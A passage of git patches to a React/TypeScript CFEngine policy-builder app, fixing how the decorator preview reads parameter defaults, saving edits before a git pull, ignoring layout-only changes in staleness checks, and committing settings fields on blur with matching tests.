its default, so an emptied Glue still joins with ", ", but the preview joined with nothing. The preview now resolves parameters the way the compiler does, which keeps a required parameter from compiling to an empty argument. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../src/blocks/evaluateDecorator.test.ts | 5 +++++ src/renderer/src/blocks/evaluateDecorator.ts | 17 +++++++++++++++-- 2 files changed, 20 insertions(+), 2 deletions(-) diff --git a/src/renderer/src/blocks/evaluateDecorator.test.ts b/src/renderer/src/blocks/evaluateDecorator.test.ts index 30826a6..98156af 100644 --- a/src/renderer/src/blocks/evaluateDecorator.test.ts +++ b/src/renderer/src/blocks/evaluateDecorator.test.ts @@ -150,6 +150,11 @@ describe('list functions', () => { expect(run('join', { glue: ',' }, [])).toBe(''); }); + it('an emptied parameter means its default, as the compiler reads it', () => { + expect(run('join', { glue: '' }, ['a', 'b'])).toBe('a, b'); + expect(run('join', {}, ['a', 'b'])).toBe('a, b'); + }); + it('unique keeps first occurrences in order', () => { expect(run('unique', {}, ['a', 'b', 'a', 'c', 'b'])).toEqual(['a', 'b', 'c']); expect(run('unique', {}, ['b', 'a', 'b'])).toEqual(['b', 'a']); diff --git a/src/renderer/src/blocks/evaluateDecorator.ts b/src/renderer/src/blocks/evaluateDecorator.ts index fe06a74..e675a15 100644 --- a/src/renderer/src/blocks/evaluateDecorator.ts +++ b/src/renderer/src/blocks/evaluateDecorator.ts @@ -1,4 +1,5 @@ import type { Decorator } from './decorators'; +import { optionValue } from './types'; export type DecoratorValue = string | string[]; @@ -162,15 +163,27 @@ function applyFilter(list: string[], params: Record): string[] { const substitute = (template: string, params: Record) => template.replace(/\{\{(\w+)\}\}/g, (_match, name: string) => params[name] ?? ''); +// As the compiler reads them (params_with_defaults): empty means the default, unless "" is an option. +function withDefaults(decorator: Decorator, params: Record): Record { + const resolved = { ...params }; + for (const { default: fallback, name, options } of decorator.parameters) { + const emptyOption = options?.some(option => optionValue(option) === ''); + if (params[name] === undefined || (params[name] === '' && !emptyOption)) resolved[name] = fallback === undefined ? '' : String(fallback); + } + return resolved; +} + // A `fallback` decorator: its value when the input is undefined or equals the trigger. -export function applyFallback(decorator: Decorator, params: Record, input: DecoratorValue | undefined): DecoratorValue | undefined { +export function applyFallback(decorator: Decorator, given: Record, input: DecoratorValue | undefined): DecoratorValue | undefined { if (!decorator.fallback) return undefined; + const params = withDefaults(decorator, given); const fallback = substitute(decorator.fallback.value, params); if (input === undefined) return fallback; return asString(input) === substitute(decorator.fallback.trigger, params) ? fallback : input; } -export function evaluateDecorator(decorator: Decorator, params: Record, input: DecoratorValue): DecoratorValue { +export function evaluateDecorator(decorator: Decorator, given: Record, input: DecoratorValue): DecoratorValue { + const params = withDefaults(decorator, given); switch (decorator.id) { case 'regex-replace': return applyRegexReplace(asString(input), params.pattern ?? '', params.replacement ?? '', params.options ?? ''); From 62bec8ed29aaa439b56305237d7b6c1259d6a6f9 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:28:47 +0300 Subject: [PATCH 123/141] Deployment: Pull theirs, then push no longer discards unsaved edits It reloads the project from disk; it now saves first, and pulls nothing when saving fails. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../src/components/DeploymentView.test.tsx | 22 +++++++++++++++++-- .../src/components/DeploymentView.tsx | 2 ++ 2 files changed, 22 insertions(+), 2 deletions(-) diff --git a/src/renderer/src/components/DeploymentView.test.tsx b/src/renderer/src/components/DeploymentView.test.tsx index d6d3185..2397ba4 100644 --- a/src/renderer/src/components/DeploymentView.test.tsx +++ b/src/renderer/src/components/DeploymentView.test.tsx @@ -59,6 +59,7 @@ interface Setup { build?: () => Promise; // Read after `prepare`, which may add the blocks it maps. compiled?: () => CompiledPolicyState; + dirty?: boolean; git?: GitStatus; hubs?: SavedHub[]; overrides?: Partial; @@ -66,7 +67,7 @@ interface Setup { } // deployRuns, testRuns and the app store live at module level: fresh ones per test. -async function setup({ build, compiled, git = gitStatus(), hubs = [], overrides = {}, prepare }: Setup = {}) { +async function setup({ build, compiled, dirty = false, git = gitStatus(), hubs = [], overrides = {}, prepare }: Setup = {}) { vi.resetModules(); api = installApi({ buildPolicySet: vi.fn(build ?? (async () => ({ ok: true as const, build: goodBuild }))), @@ -90,7 +91,7 @@ async function setup({ build, compiled, git = gitStatus(), hubs = [], overrides onSave: vi.fn(async () => true), onShowBlock: vi.fn() }; - const ui = () => ; + const ui = () => ; const view = renderWithProviders(ui(), { store }); await waitFor(() => expect(api.gitStatus).toHaveBeenCalledWith(PATH)); return { ...props, ui, view }; @@ -341,5 +342,22 @@ describe('DeploymentView', () => { fireEvent.click(screen.getByRole('button', { name: 'Close' })); expect(screen.queryByText('Push rejected')).not.toBeInTheDocument(); }); + + it('saves unsaved edits before pulling the remote’s commits, and doesn’t pull when that fails', async () => { + const sync = vi.fn(async () => ({ ok: true as const, status: clean(), pulled: true })); + const { onReload, onSave } = await setup({ dirty: true, git: clean({ behind: 1 }), overrides: { gitSync: sync } }); + fireEvent.click(check('Pushed')); + const pull = async () => fireEvent.click(await screen.findByRole('button', { name: 'Pull theirs, then push' })); + onSave.mockResolvedValueOnce(false); + await pull(); + expect(await screen.findByText('Not pulled: the project isn’t saved.')).toBeInTheDocument(); + expect(sync).not.toHaveBeenCalled(); + expect(onReload).not.toHaveBeenCalled(); + + await pull(); + await waitFor(() => expect(onReload).toHaveBeenCalled()); + expect(onSave).toHaveBeenCalledTimes(2); + expect(onSave.mock.invocationCallOrder[1]).toBeLessThan(sync.mock.invocationCallOrder[0]); + }); }); }); diff --git a/src/renderer/src/components/DeploymentView.tsx b/src/renderer/src/components/DeploymentView.tsx index 492f33a..3d0533e 100644 --- a/src/renderer/src/components/DeploymentView.tsx +++ b/src/renderer/src/components/DeploymentView.tsx @@ -333,6 +333,8 @@ export function DeploymentView({ void gitAction( mode === 'rebase' ? 'Pulling the remote’s commits' : 'Overwriting the remote', async () => { + // Pulling reloads the project from disk: unsaved edits are saved first. + if (mode === 'rebase' && !(await saveIfEdited())) return { ok: false, message: 'Not pulled: the project isn’t saved.', details: '' }; const result = await window.api!.gitSync(path!, mode); if (result.ok && result.pulled) await onReload(); return result; From ede5d4615d2697bcb07be84a30327c07ac8e3098 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:31:06 +0300 Subject: [PATCH 124/141] Builds and test runs no longer look out of date after layout-only changes Pre-flight, Tested and shipping compared the whole saved JSON, so moving a block or opening another file marked them stale and rebuilt. They now compare the content without positions and the open file, as compiling does. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../src/components/DeploymentView.test.tsx | 23 +++++++++++++++++++ .../src/components/DeploymentView.tsx | 14 +++++------ src/renderer/src/project/testRuns.ts | 10 ++++++-- src/renderer/src/project/useCompiledPolicy.ts | 15 +++++++----- 4 files changed, 47 insertions(+), 15 deletions(-) diff --git a/src/renderer/src/components/DeploymentView.test.tsx b/src/renderer/src/components/DeploymentView.test.tsx index 2397ba4..38c5e2b 100644 --- a/src/renderer/src/components/DeploymentView.test.tsx +++ b/src/renderer/src/components/DeploymentView.test.tsx @@ -2,6 +2,8 @@ import { act, fireEvent, screen, waitFor, within } from '@testing-library/react' import type { BuildResult, GitStatus, HubState, OperationResult, SavedHub } from '../../../preload/api'; import type { CompiledPolicyState } from '../project/useCompiledPolicy'; +import { blockLabelChanged, blockMoved } from '../store/canvasSlice'; +import { fileSelected } from '../store/filesSlice'; import { addBlock, addFile } from '../store/test/storeTestUtils'; import { installApi, renderWithProviders, uninstallApi } from '../test/render'; @@ -174,6 +176,27 @@ describe('DeploymentView', () => { expect(onShowBlock).toHaveBeenCalledWith(fileId, blockId); }); + it('keeps the check current when blocks only move or another file is opened', async () => { + const ids = { first: '', second: '', block: '' }; + await setup({ + prepare: created => { + ids.first = addFile(created); + ids.second = addFile(created, 'Other'); + ids.block = addBlock(created, ids.first); + } + }); + await checksOut(); + fireEvent.click(check('Valid policy')); + const stale = 'The project changed since this check: Run pre-flight to check it again.'; + act(() => { + store.dispatch(blockMoved({ instanceId: ids.block, position: { x: 300, y: 200 } })); + store.dispatch(fileSelected({ fileId: ids.second })); + }); + expect(screen.queryByText(stale)).not.toBeInTheDocument(); + act(() => void store.dispatch(blockLabelChanged({ instanceId: ids.block, label: 'Renamed' }))); + expect(screen.getByText(stale)).toBeInTheDocument(); + }); + it('shows the build’s progress, then its failure with details, until Close', async () => { const pending = deferred(); await setup({ build: () => pending.promise }); diff --git a/src/renderer/src/components/DeploymentView.tsx b/src/renderer/src/components/DeploymentView.tsx index 3d0533e..c88895c 100644 --- a/src/renderer/src/components/DeploymentView.tsx +++ b/src/renderer/src/components/DeploymentView.tsx @@ -21,7 +21,7 @@ import { } from '../project/deployRuns'; import { commitMessage, projectChanges } from '../project/projectChanges'; import { useEnvironmentRuntime } from '../project/testRuns'; -import type { CompiledPolicyState } from '../project/useCompiledPolicy'; +import { type CompiledPolicyState, contentKey } from '../project/useCompiledPolicy'; import { store, useAppSelector } from '../store'; import { selectCurrentProject } from '../store/projectSlice/selectors'; import { PreflightRow } from './deploy/Preflight'; @@ -67,7 +67,7 @@ function useGitStatus(path: string | null) { return { git, setGit, failure, setFailure, refresh }; } -// The changes since the last commit, and the project content as saving writes it (what checks compare). +// The changes since the last commit, and the project content as saving writes it, keyed without layout (what checks compare). function useProjectState(git: GitStatus | null) { const project = useAppSelector(selectCurrentProject); const canvas = useAppSelector(state => state.canvas); @@ -75,11 +75,12 @@ function useProjectState(git: GitStatus | null) { const groups = useAppSelector(state => state.groups); const files = useAppSelector(state => state.files); const derivedNodes = useAppSelector(state => state.derivedNodes); - const content = useMemo( - () => (project ? JSON.stringify(toCfbsProject(snapshot(), project)) : ''), + const saved = useMemo( + () => (project ? toCfbsProject(snapshot(), project) : null), // eslint-disable-next-line react-hooks/exhaustive-deps -- the slices are what the snapshot reads [project, canvas, edges, groups, files, derivedNodes] ); + const content = useMemo(() => (saved ? contentKey(saved) : ''), [saved]); const changes = useMemo(() => { let head: ProjectData | null = null; try { @@ -90,13 +91,12 @@ function useProjectState(git: GitStatus | null) { // Through the same save and load as the commit went, so both sides have the same shape. let now = snapshot(); try { - if (project) now = fromBuilderProject(JSON.parse(content).project); + if (saved) now = fromBuilderProject(JSON.parse(JSON.stringify(saved.project))); } catch { // Unsaveable state: compare as it is. } return projectChanges(head, now); - // eslint-disable-next-line react-hooks/exhaustive-deps -- content stands for the slices - }, [git, content]); + }, [git, saved]); return { project, canvas, content, changes }; } diff --git a/src/renderer/src/project/testRuns.ts b/src/renderer/src/project/testRuns.ts index d154e30..8e4f4bc 100644 --- a/src/renderer/src/project/testRuns.ts +++ b/src/renderer/src/project/testRuns.ts @@ -1,6 +1,7 @@ import { useSyncExternalStore } from 'react'; import type { TestEnvironment } from '../store/testEnvironmentsSlice/types'; +import { contentKey } from './useCompiledPolicy'; /** * What the test environments are doing right now, per environment: the action @@ -53,7 +54,7 @@ export interface EnvironmentRuntime { error: string | null; hosts: Record; hub: { setupCode: string | null; url: string | null } | null; - // The last Deploy & run: when, on what policy (the request's content, as JSON) and how many + // The last Deploy & run: when, on what policy (the request's contentKey) and how many // hosts, and whether it passed (null while running) — Deployment's "Tested?". lastRun: { at: number; content: string; hosts: number; passed: boolean | null } | null; lines: LogLine[]; @@ -192,7 +193,12 @@ export async function startAction(environment: TestEnvironment, action: Action, problems: action === 'run' || action === 'test' ? {} : runtime.problems, lastRun: action === 'run' || action === 'test' - ? { at: Date.now(), content: JSON.stringify(request.content ?? null), hosts: request.hosts?.length ?? environment.hosts.length, passed: null } + ? { + at: Date.now(), + content: request.content ? contentKey(request.content) : 'null', + hosts: request.hosts?.length ?? environment.hosts.length, + passed: null + } : runtime.lastRun })); try { diff --git a/src/renderer/src/project/useCompiledPolicy.ts b/src/renderer/src/project/useCompiledPolicy.ts index 1c69442..d1a8fcf 100644 --- a/src/renderer/src/project/useCompiledPolicy.ts +++ b/src/renderer/src/project/useCompiledPolicy.ts @@ -2,7 +2,7 @@ import { useEffect, useMemo, useRef, useState } from 'react'; import { useAppSelector } from '../store'; import { selectCurrentProject } from '../store/projectSlice/selectors'; -import { toCfbsProject } from './cfbsProject'; +import { type ProjectMeta, toCfbsProject } from './cfbsProject'; type CompiledPolicy = Awaited['compilePolicy']>>; @@ -17,6 +17,12 @@ export interface CompiledPolicyState { const DEBOUNCE_MS = 400; +// What the compiler reads: everything but the open file and positions. +const compiledPart = (meta: ProjectMeta) => ({ ...meta, current_file_id: null, files: meta.files.map(({ layout: _layout, ...file }) => file) }); + +/** Saved project content as a key that layout-only changes and switching files leave alone. */ +export const contentKey = (content: { project: object }) => JSON.stringify({ ...content, project: compiledPart(content.project as ProjectMeta) }); + /** * The project's generated policy, compiled by the sidecar exactly as a save * would (nothing is written), while `enabled`: on enabling, then again once @@ -34,11 +40,8 @@ export function useCompiledPolicy(enabled: boolean): CompiledPolicyState { () => (project ? toCfbsProject({ canvas, derivedNodes, edges, files, groups, testEnvironments: [] }, project).project : null), [project, canvas, derivedNodes, edges, files, groups] ); - // What the compiler reads (and is sent): everything but the open file and positions. - const key = useMemo( - () => (meta ? JSON.stringify({ ...meta, current_file_id: null, files: meta.files.map(({ layout: _layout, ...file }) => file) }) : null), - [meta] - ); + // What the compiler is sent. + const key = useMemo(() => (meta ? JSON.stringify(compiledPart(meta)) : null), [meta]); const pathOf = useMemo(() => Object.fromEntries((meta?.files ?? []).map(file => [file.id, file.path])), [meta]); const [result, setResult] = useState(null); From b936f1a64a552d8dd2d368282a75facd6e8c8f46 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:32:02 +0300 Subject: [PATCH 125/141] Selecting another file no longer marks the project unsaved Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../src/project/useProjectSession.test.ts | 33 +++++++++++++++++++ src/renderer/src/project/useProjectSession.ts | 8 ++++- 2 files changed, 40 insertions(+), 1 deletion(-) create mode 100644 src/renderer/src/project/useProjectSession.test.ts diff --git a/src/renderer/src/project/useProjectSession.test.ts b/src/renderer/src/project/useProjectSession.test.ts new file mode 100644 index 0000000..1b31408 --- /dev/null +++ b/src/renderer/src/project/useProjectSession.test.ts @@ -0,0 +1,33 @@ +import { createAppStore } from '../store'; +import { blockMoved } from '../store/canvasSlice'; +import { fileRenamed, fileSelected } from '../store/filesSlice'; +import { projectCreated } from '../store/projectSlice'; +import { addBlock, addFile } from '../store/test/storeTestUtils'; +import { isEdited } from './useProjectSession'; + +describe('isEdited', () => { + const setup = () => { + const store = createAppStore(); + store.dispatch(projectCreated({ name: 'Demo' })); + const first = addFile(store); + const second = addFile(store, 'Other'); + const block = addBlock(store, first); + return { store, first, second, block, saved: store.getState() }; + }; + + it('ignores which file is open', () => { + const { store, first, saved } = setup(); + expect(saved.files.currentFileId).not.toBe(first); + store.dispatch(fileSelected({ fileId: first })); + expect(isEdited(store.getState(), saved)).toBe(false); + }); + + it('counts edits to the files and the canvas', () => { + const { store, second, block, saved } = setup(); + store.dispatch(fileRenamed({ fileId: second, name: 'Renamed' })); + expect(isEdited(store.getState(), saved)).toBe(true); + const renamed = store.getState(); + store.dispatch(blockMoved({ instanceId: block, position: { x: 1, y: 2 } })); + expect(isEdited(store.getState(), renamed)).toBe(true); + }); +}); diff --git a/src/renderer/src/project/useProjectSession.ts b/src/renderer/src/project/useProjectSession.ts index f38d61e..c79c014 100644 --- a/src/renderer/src/project/useProjectSession.ts +++ b/src/renderer/src/project/useProjectSession.ts @@ -21,6 +21,12 @@ const snapshotOf = (state: RootState): ProjectData => ({ testEnvironments: state.testEnvironments }); +/** Whether the project changed since `saved`; which file is open doesn't count. */ +export const isEdited = (state: RootState, saved: ProjectData) => + UNDOABLE_KEYS.some(key => + key === 'files' ? state.files.files !== saved.files.files || state.files.folders !== saved.files.folders : state[key] !== saved[key] + ); + const errorMessage = (cause: unknown) => (cause instanceof Error ? cause.message : String(cause)); const folderNameOf = (path: string) => path.split(/[\\/]/).filter(Boolean).pop() ?? path; @@ -34,7 +40,7 @@ export function useProjectSession() { const dispatch = useAppDispatch(); const project = useAppSelector(selectCurrentProject); const [baseline, setBaseline] = useState(null); - const dirty = useAppSelector(state => baseline !== null && UNDOABLE_KEYS.some(key => state[key] !== baseline[key])); + const dirty = useAppSelector(state => baseline !== null && isEdited(state, baseline)); const [projectDialog, setProjectDialog] = useState<'new' | 'saveAs' | null>(null); const [pendingAction, setPendingAction] = useState<(() => void) | null>(null); const [error, setError] = useState(null); From 3e511115df850163fb0e802a338831bcd97f0ff0 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:33:59 +0300 Subject: [PATCH 126/141] Environment variables are no longer lost when their dialog closes with Escape They were saved only on blur, and closing the dialog unmounts the field without one. A pending edit is now also saved when the field goes away. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../src/components/testenv/EnvVarsField.tsx | 17 +++++----- .../EnvironmentSettingsDialog.test.tsx | 11 +++++-- .../src/components/testenv/useDraft.ts | 31 +++++++++++++++++++ 3 files changed, 47 insertions(+), 12 deletions(-) create mode 100644 src/renderer/src/components/testenv/useDraft.ts diff --git a/src/renderer/src/components/testenv/EnvVarsField.tsx b/src/renderer/src/components/testenv/EnvVarsField.tsx index 4c73b7b..9970b51 100644 --- a/src/renderer/src/components/testenv/EnvVarsField.tsx +++ b/src/renderer/src/components/testenv/EnvVarsField.tsx @@ -1,7 +1,7 @@ -import { useState } from 'react'; - import { TextField } from '@mui/material'; +import { useDraft } from './useDraft'; + const format = (env: Record) => Object.entries(env) .map(([key, value]) => `${key}=${value}`) @@ -18,7 +18,7 @@ export function parseEnvVars(text: string): Record { return env; } -/** Environment variables as `KEY=value` lines, saved when the field loses focus. */ +/** Environment variables as `KEY=value` lines, saved when the field loses focus or goes away. */ export function EnvVarsField({ disabled, env, @@ -30,7 +30,7 @@ export function EnvVarsField({ label: string; onChange: (env: Record) => void; }) { - const [draft, setDraft] = useState(null); + const draft = useDraft(format(env), text => onChange(parseEnvVars(text))); return ( setDraft(event.target.value)} - onBlur={() => { - if (draft !== null) onChange(parseEnvVars(draft)); - setDraft(null); - }} + value={draft.value} + onChange={event => draft.setDraft(event.target.value)} + onBlur={draft.flush} slotProps={{ htmlInput: { style: { fontFamily: 'monospace', fontSize: 12 } } }} /> ); diff --git a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx index 8a64615..1702c05 100644 --- a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx +++ b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx @@ -26,7 +26,7 @@ interface Options { function setup({ environment, busy = false, canDestroy = true, saved = true, engineArch }: Options = {}) { const callbacks = { onChange: vi.fn(), onClose: vi.fn(), onDestroy: vi.fn(), onEnvChange: vi.fn() }; - renderWithProviders( + const { unmount } = renderWithProviders( ); - return callbacks; + return { ...callbacks, unmount }; } const select = (name: string) => screen.getByRole('combobox', { name }); @@ -120,6 +120,13 @@ describe('EnvironmentSettingsDialog', () => { expect(onEnvChange).toHaveBeenCalledWith({ APP_ENV: 'prod', TOKEN: 'a=b' }); }); + it('saves environment variables when the dialog goes away without a blur (Escape)', () => { + const { onEnvChange, unmount } = setup(); + fireEvent.change(screen.getByRole('textbox', { name: 'Environment variables (all hosts)' }), { target: { value: 'APP_ENV=prod' } }); + unmount(); + expect(onEnvChange).toHaveBeenCalledExactlyOnceWith({ APP_ENV: 'prod' }); + }); + it('sets and clears the .env file', () => { const { onChange } = setup(); const field = screen.getByRole('textbox', { name: 'Secrets file (.env), optional' }); diff --git a/src/renderer/src/components/testenv/useDraft.ts b/src/renderer/src/components/testenv/useDraft.ts new file mode 100644 index 0000000..dbc296e --- /dev/null +++ b/src/renderer/src/components/testenv/useDraft.ts @@ -0,0 +1,31 @@ +import { useEffect, useRef, useState } from 'react'; + +/** + * A text field's edits, kept locally and committed once: on `flush` (blur), or on + * unmount, since a dialog closed with Escape blurs nothing. + */ +export function useDraft(value: string, commit: (text: string) => void) { + const [draft, setDraftState] = useState(null); + const pending = useRef(null); + const latestCommit = useRef(commit); + useEffect(() => { + latestCommit.current = commit; + }); + useEffect( + () => () => { + if (pending.current !== null) latestCommit.current(pending.current); + }, + [] + ); + const setDraft = (text: string) => { + pending.current = text; + setDraftState(text); + }; + const flush = () => { + const text = pending.current; + pending.current = null; + setDraftState(null); + if (text !== null) latestCommit.current(text); + }; + return { draft, flush, setDraft, value: draft ?? value }; +} From e2f51ef18e9d5ee7af3ca40fe21e419be9ac641a Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:36:19 +0300 Subject: [PATCH 127/141] Test environment name, .env file and ports are saved on blur, one undo step Each keystroke was its own undo step. They are now kept in the field and saved when it loses focus (or closes); the .env path is trimmed only then, so spaces can be typed. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../EnvironmentSettingsDialog.test.tsx | 17 +++++++++--- .../testenv/EnvironmentSettingsDialog.tsx | 16 +++++++++--- .../testenv/HostSettingsDialog.test.tsx | 11 +++++--- .../src/components/testenv/PortsField.tsx | 26 +++++++++---------- 4 files changed, 46 insertions(+), 24 deletions(-) diff --git a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx index 1702c05..c9e6d2a 100644 --- a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx +++ b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx @@ -46,10 +46,14 @@ function pick(name: string, option: string) { } describe('EnvironmentSettingsDialog', () => { - it('renames the environment', () => { + it('renames the environment once, on blur', () => { const { onChange } = setup(); - fireEvent.change(screen.getByRole('textbox', { name: 'Name' }), { target: { value: 'Prod' } }); - expect(onChange).toHaveBeenCalledWith({ name: 'Prod' }); + const name = screen.getByRole('textbox', { name: 'Name' }); + fireEvent.change(name, { target: { value: 'P' } }); + fireEvent.change(name, { target: { value: 'Prod' } }); + expect(onChange).not.toHaveBeenCalled(); + fireEvent.blur(name); + expect(onChange).toHaveBeenCalledExactlyOnceWith({ name: 'Prod' }); }); it('changes the edition', () => { @@ -128,12 +132,17 @@ describe('EnvironmentSettingsDialog', () => { }); it('sets and clears the .env file', () => { - const { onChange } = setup(); + const { onChange } = setup({ environment: { envFile: './old.env' } }); const field = screen.getByRole('textbox', { name: 'Secrets file (.env), optional' }); expect(screen.getByText(/A file in the project folder with KEY=value lines/)).toBeInTheDocument(); fireEvent.change(field, { target: { value: ' ./.env ' } }); + // Typed as is; trimmed when it's saved. + expect(field).toHaveValue(' ./.env '); + expect(onChange).not.toHaveBeenCalled(); + fireEvent.blur(field); expect(onChange).toHaveBeenLastCalledWith({ envFile: './.env' }); fireEvent.change(field, { target: { value: ' ' } }); + fireEvent.blur(field); expect(onChange).toHaveBeenLastCalledWith({ envFile: null }); }); diff --git a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx index d4263ac..632b28d 100644 --- a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx +++ b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx @@ -2,6 +2,7 @@ import { Button, Dialog, DialogActions, DialogContent, DialogTitle, MenuItem, St import type { TestEnvironment } from '../../store/testEnvironmentsSlice/types'; import { EnvVarsField } from './EnvVarsField'; +import { useDraft } from './useDraft'; export interface EnvironmentSettingsDialogProps { busy: boolean; @@ -21,12 +22,20 @@ export interface EnvironmentSettingsDialogProps { export function EnvironmentSettingsDialog(props: EnvironmentSettingsDialogProps) { const { environment, busy, onChange } = props; const emulated = Boolean(props.engineArch) && props.engineArch !== environment.arch; + // Text is committed on blur: one undo step per edit. + const name = useDraft(environment.name, text => { + if (text !== environment.name) onChange({ name: text }); + }); + const envFile = useDraft(environment.envFile ?? '', text => { + const value = text.trim() || null; + if (value !== environment.envFile) onChange({ envFile: value }); + }); return ( Test environment - onChange({ name: event.target.value })} /> + name.setDraft(event.target.value)} onBlur={name.flush} /> onChange({ envFile: event.target.value.trim() || null })} + onChange={event => envFile.setDraft(event.target.value)} + onBlur={envFile.flush} /> diff --git a/src/renderer/src/components/testenv/HostSettingsDialog.test.tsx b/src/renderer/src/components/testenv/HostSettingsDialog.test.tsx index 65b015a..f12fec2 100644 --- a/src/renderer/src/components/testenv/HostSettingsDialog.test.tsx +++ b/src/renderer/src/components/testenv/HostSettingsDialog.test.tsx @@ -102,12 +102,17 @@ describe('HostSettingsDialog', () => { }); }); - it('edits and removes ports', () => { + it('edits ports on blur, and removes them', () => { const { onChange } = setup({ host: { ports: [{ host: 8080, container: 80 }] } }); const hostPort = screen.getByDisplayValue('8080'); + fireEvent.change(hostPort, { target: { value: '9' } }); fireEvent.change(hostPort, { target: { value: '90a90' } }); - expect(onChange).toHaveBeenLastCalledWith({ ports: [{ host: 9090, container: 80 }] }); - fireEvent.change(screen.getByDisplayValue('80'), { target: { value: '443' } }); + expect(onChange).not.toHaveBeenCalled(); + fireEvent.blur(hostPort); + expect(onChange).toHaveBeenCalledExactlyOnceWith({ ports: [{ host: 9090, container: 80 }] }); + const containerPort = screen.getByDisplayValue('80'); + fireEvent.change(containerPort, { target: { value: '443' } }); + fireEvent.blur(containerPort); expect(onChange).toHaveBeenLastCalledWith({ ports: [{ host: 8080, container: 443 }] }); fireEvent.click(screen.getByRole('button', { name: 'Remove port' })); expect(onChange).toHaveBeenLastCalledWith({ ports: [] }); diff --git a/src/renderer/src/components/testenv/PortsField.tsx b/src/renderer/src/components/testenv/PortsField.tsx index 3f59188..fc52ef6 100644 --- a/src/renderer/src/components/testenv/PortsField.tsx +++ b/src/renderer/src/components/testenv/PortsField.tsx @@ -1,13 +1,13 @@ -import { useState } from 'react'; - import AddIcon from '@mui/icons-material/Add'; import CloseIcon from '@mui/icons-material/Close'; import { Box, Button, IconButton, Stack, TextField, Typography } from '@mui/material'; +import { useDraft } from './useDraft'; + type Port = { container: number; host: number }; -// One port number: free typing (it may be empty for a moment); a valid port is saved as typed, -// anything else goes back to the last valid one on blur. +// One port number: free typing (it may be empty for a moment); a valid port is saved on blur, +// anything else goes back to the last valid one. function PortInput({ disabled, error, @@ -21,21 +21,19 @@ function PortInput({ title?: string; value: number; }) { - const [draft, setDraft] = useState(null); + const draft = useDraft(String(value), text => { + const port = portValue(text); + if (port !== null && port !== value) onChange(port); + }); return ( { - const text = event.target.value.replace(/\D/g, '').slice(0, 5); - setDraft(text); - const port = portValue(text); - if (port !== null) onChange(port); - }} - onBlur={() => setDraft(null)} + onChange={event => draft.setDraft(event.target.value.replace(/\D/g, '').slice(0, 5))} + onBlur={draft.flush} slotProps={{ htmlInput: { inputMode: 'numeric' } }} sx={{ width: 110 }} /> From 305b8f4bfab2dc3b47dac462ae8cc90bdb56668c Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:36:58 +0300 Subject: [PATCH 128/141] The CFEngine version field no longer starts a sidecar per keystroke It is saved on blur, so a new version looks up its platforms once. The field can now be emptied while typing; an empty version still saves as latest. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .../testenv/EnvironmentSettingsDialog.test.tsx | 11 ++++++++--- .../components/testenv/EnvironmentSettingsDialog.tsx | 11 ++++++++--- 2 files changed, 16 insertions(+), 6 deletions(-) diff --git a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx index c9e6d2a..530d877 100644 --- a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx +++ b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx @@ -80,12 +80,17 @@ describe('EnvironmentSettingsDialog', () => { expect(screen.getByText('Native')).toBeInTheDocument(); }); - it('trims the version and falls back to latest', () => { - const { onChange } = setup(); + it('saves the version once, on blur, trimmed and falling back to latest', () => { + const { onChange } = setup({ environment: { version: '3.26.0' } }); const version = screen.getByRole('textbox', { name: 'CFEngine version' }); + fireEvent.change(version, { target: { value: '' } }); + expect(version).toHaveValue(''); fireEvent.change(version, { target: { value: ' 3.27.1 ' } }); - expect(onChange).toHaveBeenLastCalledWith({ version: '3.27.1' }); + expect(onChange).not.toHaveBeenCalled(); + fireEvent.blur(version); + expect(onChange).toHaveBeenCalledExactlyOnceWith({ version: '3.27.1' }); fireEvent.change(version, { target: { value: ' ' } }); + fireEvent.blur(version); expect(onChange).toHaveBeenLastCalledWith({ version: 'latest' }); }); diff --git a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx index 632b28d..7ee7965 100644 --- a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx +++ b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.tsx @@ -22,10 +22,14 @@ export interface EnvironmentSettingsDialogProps { export function EnvironmentSettingsDialog(props: EnvironmentSettingsDialogProps) { const { environment, busy, onChange } = props; const emulated = Boolean(props.engineArch) && props.engineArch !== environment.arch; - // Text is committed on blur: one undo step per edit. + // Text is committed on blur: one undo step per edit (and one platform lookup per version). const name = useDraft(environment.name, text => { if (text !== environment.name) onChange({ name: text }); }); + const version = 